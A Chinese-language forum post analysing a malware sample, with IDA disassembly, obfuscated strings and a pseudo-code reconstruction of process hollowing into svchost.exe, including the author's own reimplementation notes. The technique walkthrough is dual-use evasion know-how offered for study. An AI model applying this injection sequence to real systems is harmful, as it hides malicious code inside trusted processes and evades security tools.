[原創]兩個樣本分析,兩種程式注入學習

anhkgg發表於2019-02-25
對於具體功能,沒怎麼分析,主要是為了學習兩種技術,希望大牛們多多指教

1. 起因
某次卡飯hips瀏覽中,看到某高大上程式注入方式(主要是某人頭髮長),驚為天人,技術堪稱猥瑣之王(抬高了?),額。。。不捧了。由於沒有樣本,也沒有搜尋到資料,只能作罷。
某天,突然來了興致,要分析個樣本,隨便在卡飯樣本區下了個感覺挺啥啥的樣本,一分析,你妹,咋這麼熟悉呢,居然就是同類的程式注入,然後某人就有了下面的文章。
2. 分析與實現
2.1 PEID
殼資訊:Microsoft Visual C++ v6.0,無殼
檔名:bbs.exe
既然無殼,直接ida先分析一下,遇到無法分析的OD繼續除錯。
2.2 分析
開啟IDA,拖入檔案,找到主函式:
.text:0040A720 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:0040A720
.text:0040A720                 push    ebp
.text:0040A721                 mov     ebp, esp
.text:0040A723                 push    ecx
.text:0040A724                 call    sub_408BE0
.text:0040A729                 mov     esp_4FEE68, esp
.text:0040A72F                 mov     esp_4FEE6C, ebp
.text:0040A735                 call    sub_408929//主功能函式
.text:0040A73A                 mov     [ebp+var_4], eax
.text:0040A73D                 mov     eax, [ebp+var_4]
.text:0040A740                 mov     esp, ebp
.text:0040A742                 pop     ebp
.text:0040A743                 retn    10h
.text:0040A743 _WinMain@16     endp
沒什麼東西,繼續sub_408929:
.text:00408929 sub_408929      proc near               ; CODE XREF: WinMain(x,x,x,x)+15p
.text:00408929                 cld
.text:0040892A                 fninit
.text:0040892C                 call    myNewObj
.text:00408931                 push    offset sub_406C2A
.text:00408936                 mov     eax, 3
.text:0040893B                 call    myInitFunc
.text:00408940                 add     esp, 4
.text:00408943                 call    sub_40101D//這幾個都是些無用函式,多半是花指令
.text:00408948                 call    sub_406B84
.text:0040894D                 call    sub_406BDB
.text:00408952                 call    sub_401000
.text:00408957                 call    sub_406BBE
.text:0040895C                 call    sub_406BA1
.text:00408961                 call    sub_406BF8
.text:00408966                 call    myReleaseFile//檔案釋放,可能是功能檔案
.text:0040896B                 push    eax             ; uExitCode
.text:0040896C                 call    nullsub_1
.text:00408971                 call    j_myExit
.text:00408976                 add     esp, 4
.text:00408979                 retn
.text:00408979 sub_408929      endp
其他函式都沒有什麼重要的程式碼,接著看看myReleaseFile,程式碼太多,直接f5看看整體流程,結構:
int __cdecl myReleaseFile()
{
  lpMem = "QzpcUHJvZ3JhbSBGaWxlc1xDb21tb24gRmlsZXNcTWljcm9zb2Z0IFNoYXJlZFxNU0luZm9ca2trLnR4dA==";// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
  v12 = (void *)myBase64Dec(&lpMem);
  if ( lpMem )
    j_myIsInMyImg(lpMem);
  v1 = (int)v12;
  if ( !v12 )
    v1 = (int)dword_416285;
  pszPath = (LPCSTR)myFormat(ebp0, 1, (unsigned int)v1, 0x80000005u);//  C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
  v2 = (int)v12;
  if ( v12 )
    j_myIsInMyImg(v12);
  v10 = (int *)&v6;
  v3 = PathFileExistsA(pszPath);
  if ( (void **)v10 != &v6 )
    v3 = myRunError(v2, 6);
  v9 = v3;
  if ( pszPath )
    j_myIsInMyImg((void *)pszPath);
  if ( v9 == 1 )
  {
    lpMem = "我是一箇中國人";//恩,很愛國
    v12 = "34,85,10,1D,04,D1,CF,42,DF,A4,B0,";
    pszPath = (LPCSTR)myDecStr(&v12, &lpMem);   // 字串解密,"svchost.exe"
    if ( v12 )
      j_myIsInMyImg(v12);
    if ( lpMem )
      j_myIsInMyImg(lpMem);
    v4 = j_myNewBuf(ebp0, 0x10u);
    v10 = (int *)v4;
    *(_DWORD *)v4 = 0;
    *((_DWORD *)v4 + 1) = 0;
    *((_DWORD *)v4 + 2) = 0;
    *((_DWORD *)v4 + 3) = 0;
    v9 = 0;
    v8 = 0;
    v7 = 0;
    v6 = &unk_4162BE;
    myWork(&v6, &v7, 0, &pszPath, 1, 0, 0, 0, 0, &v10, 0);//注入程式的功能,程式碼中很多混淆
    if ( v6 )
      j_myIsInMyImg(v6);
    if ( v7 )
      j_myIsInMyImg(v7);
    if ( pszPath )
      j_myIsInMyImg((void *)pszPath);
    j_myIsInMyImg(v10);
    sub_40574F();
  }
  return 0;
}
由於在myWork中太多混淆,IDA無力,轉戰OD,看到高大上的程式注入。由於程式碼混淆,太多PE操作,而且IDA沒有有效識別記憶體複製函式,給分析帶來了較大困難。
下面是主要的程式注入用到的函式表,myWork中呼叫這些關鍵函式,都是透過該函式表呼叫,裡面透過loaddll+getprocaddress獲取到函式地址,返回,然後呼叫:
.data:004FB87F myLocalSize1    dd offset myLocalSize   ; DATA XREF: .text:00402CACr
.data:004FB883 myRtlMoveMemory1 dd offset myRtlMoveMemory ; DATA XREF: .text:00402F32r
.data:004FB887 myLocalSize2    dd offset sub_4089DC    ; DATA XREF: .text:00403303r
.data:004FB88B myRtlMoveMemory2 dd offset sub_4089F2   ; DATA XREF: .text:00403701r
.data:004FB88F myLocalSize3    dd offset sub_408A08    ; DATA XREF: .text:00403A06r
.data:004FB893 myCreateProcessA dd offset sub_408A1E   ; DATA XREF: .text:00403DEEr
.data:004FB897 myGetThreadContext dd offset sub_408A34 ; DATA XREF: sub_403FC0+C8r
.data:004FB89B myReadProcessMemory dd offset sub_408A4A ; DATA XREF: sub_403FC0+2E9r
.data:004FB89F myZwUnmapViewOfSection dd offset sub_408A60 ; DATA XREF: sub_403FC0+335r
.data:004FB8A3 myVirtualAllocEx dd offset sub_408A76   ; DATA XREF: sub_403FC0+3ACr
.data:004FB8A7 myWriteProcessMemory dd offset sub_408A8C ; DATA XREF: sub_403FC0+43Fr
.data:004FB8AB myLocalSize5    dd offset sub_408AA2    ; DATA XREF: sub_403FC0+9A7r
.data:004FB8AF myRtlMoveMemory_0 dd offset sub_408AB8  ; DATA XREF: sub_403FC0+B0Er
.data:004FB8B3 myVirtualProtectEx dd offset sub_408ACE ; DATA XREF: sub_403FC0+D60r
.data:004FB8B7 myWriteProcessMemory_0 dd offset sub_408AE4 ; DATA XREF: sub_403FC0+DD2r
.data:004FB8BB mySetThreadContext dd offset sub_408AFA ; DATA XREF: sub_403FC0+FA8r
.data:004FB8BF myResumeThread  dd offset sub_408B10    ; DATA XREF: sub_403FC0+1172r
.data:004FB8C3 myWaitForSingleObject dd offset sub_408B26 ; DATA XREF: sub_403FC0+11ADr
.data:004FB8C7 myCloseHandle_  dd offset sub_408B3C    ; DATA XREF: sub_403FC0+11E6r
.data:004FB8CB myGetEnvironmentVariableA dd offset sub_408B52
.data:004FB8CF myTerminateProcess dd offset sub_408B68 ; DATA XREF: sub_4053DE+1Er
.data:004FB8D3 myReadFileEx    dd offset sub_408B7E    ; DATA XREF: sub_405FAA+1E2r
.data:004FB8D7 myGetFileSize   dd offset sub_408B94    ; DATA XREF: sub_4063B0+DFr
.data:004FB8DB myCloseHandle   dd offset sub_408BAA    ; DATA XREF: sub_4064C4+1Dr
.data:004FB8DF myLocalFree     dd offset sub_408BC0    ; DATA XREF: sub_4065D9+541r
獲取函式的程式碼結構:
.text:004089B0 myLocalSize     proc near               ; CODE XREF: .text:00402CACp
.text:004089B0                                         ; DATA XREF: .data:myLocalSize1o
.text:004089B0                 push    offset myLocalSize1 ; int
.text:004089B5                 push    offset aLocalsize ; "LocalSize"
.text:004089BA                 push    offset aKernel32 ; "kernel32"
.text:004089BF                 call    myGetProc
.text:004089C4                 jmp     eax
.text:004089C4 myLocalSize     endp
最後基本總結了myWork的程式碼邏輯,也一窺了程式注入的猥瑣:

CreateProcessA(0, "svchost.exe", 0, 0, 0, 4/*CREATE_SUSPENDED*/, 0, 0, &sa, &pi );//按suspend建立程式,這樣主執行緒就會掛起,等待後面的宰割
GetThreadContext(pi.hThread, &context);
ReadProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, buf, 4, &size); /*獲取到的是img基地址 peb->ImageBaseAddress*/
ZwUnmapViewOfSection(pi.hProcess, buf);//這裡有個bug,buf傳遞方式錯誤,導致無法unmap,應該是&buf
VirtualAllocEx(pi.hProcess, 0x400000, size, MEM_COMMIT|MEM_RESERVE/*0x3000*/, PAGE_READWRITE/**4/ );
//解析PE檔案,寫入程式對應位置
WriteProcessMemory(pi.hProcess, 0x400000, buf, 0x1000, &size);//寫入頭部
for(i =0 ;i<num_of_sec; i++)
{
    WriteProcessMemory(pi.hProcess, 0x400000+sec[i].va, buf, sec[i].size, &size);//.text, .rdata, .data
    VirtualProtectEx(pi.hProcess, 0x400000+sec[i].va, sec[i].size, NewProtect, &oldProtect);//PAGE_EXECUTE_READ, PAGE_READONLY, PAGE_READWRITE
}
//重寫eop
//重寫基地址
WriteProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, MyBaseAddr, 4, &size);//寫入我的img 基地址 0x400000
SetThreadContext(pi.hProcess, context);//恢復
ResumeThread(pi.hThread);//恢復執行緒執行
3. 總結
本來打算完整分析一下的,在分析到程式注入時,由於自己程式碼實現中,遇到了一些問題,除錯無語,eop和基地址都改寫了,那麼就是對映section遇到問題,終於修改成
直接pe完整寫入宿主程式,成功執行了注入程式的功能。
所以,後面也沒時間具體分析樣本的功能了。
測試了該方式,無法過掉主防,在WriteProcessMemory就會被攔截,所以該方式基本只是作為技術研究,直接使用,還需努力。
4. 參考
[1] http://www.cnblogs.com/lbq1221119/archive/2008/07/22/1248706.html
[2] http://blog.csdn.net/darthas/article/details/12569443

還有一篇,由於內容太多,就不貼了,連結是:http://t.cn/RztLocT

樣本:

[推薦]看雪企服平臺,提供安全分析、定製專案開發、APP等級保護、滲透測試等安全服務!

上傳的附件:

相關文章